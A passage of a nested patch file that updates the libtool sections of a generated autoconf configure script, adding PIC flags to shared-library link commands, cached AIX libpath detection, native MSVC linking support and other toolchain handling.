++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8098,6 +8601,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8448,7 +8956,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8547,12 +9056,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8566,8 +9075,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8585,8 +9094,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8632,8 +9141,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8763,7 +9272,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8776,22 +9291,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -8803,7 +9325,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8816,22 +9344,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -8876,20 +9411,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -8950,7 +9528,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -8958,7 +9536,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -8974,7 +9552,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -8998,10 +9576,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9080,23 +9658,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9181,7 +9772,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9200,9 +9791,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -9778,8 +10369,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -9812,13 +10404,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10696,7 +11346,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10699 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10740,10 +11390,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -10802,7 +11452,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10805 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10846,10 +11496,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -14832,13 +15482,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -14853,14 +15510,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
